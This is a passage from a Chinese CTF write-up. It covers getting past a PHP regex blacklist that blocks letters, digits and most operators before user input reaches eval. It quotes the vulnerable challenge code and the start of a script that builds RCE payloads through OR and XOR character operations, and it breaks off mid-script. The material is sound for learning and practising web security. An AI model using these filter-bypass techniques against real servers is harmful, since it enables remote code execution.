1
首先,捋一捋思路,我们可以先看过滤的字符
比如/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i
或者/[a-z0-9]/is
这里可以先看P神的一些不包含数字和字母的webshell
,大概意思就是通过一些字符互相运算后构造得到我们的payload,了解基本原理之后,我们再看ctfshow中的这样一道例题
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
通过代码审计我们可以知道这个题过滤了$、+、-、^、~
使得异或自增和取反构造字符都无法使用,但是留了一个|
也就是或运算还可以用,这个时候利用Y4师傅和羽师傅的脚本结合一手,即可很方便的做出来这题。先看Y4师傅的脚本
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT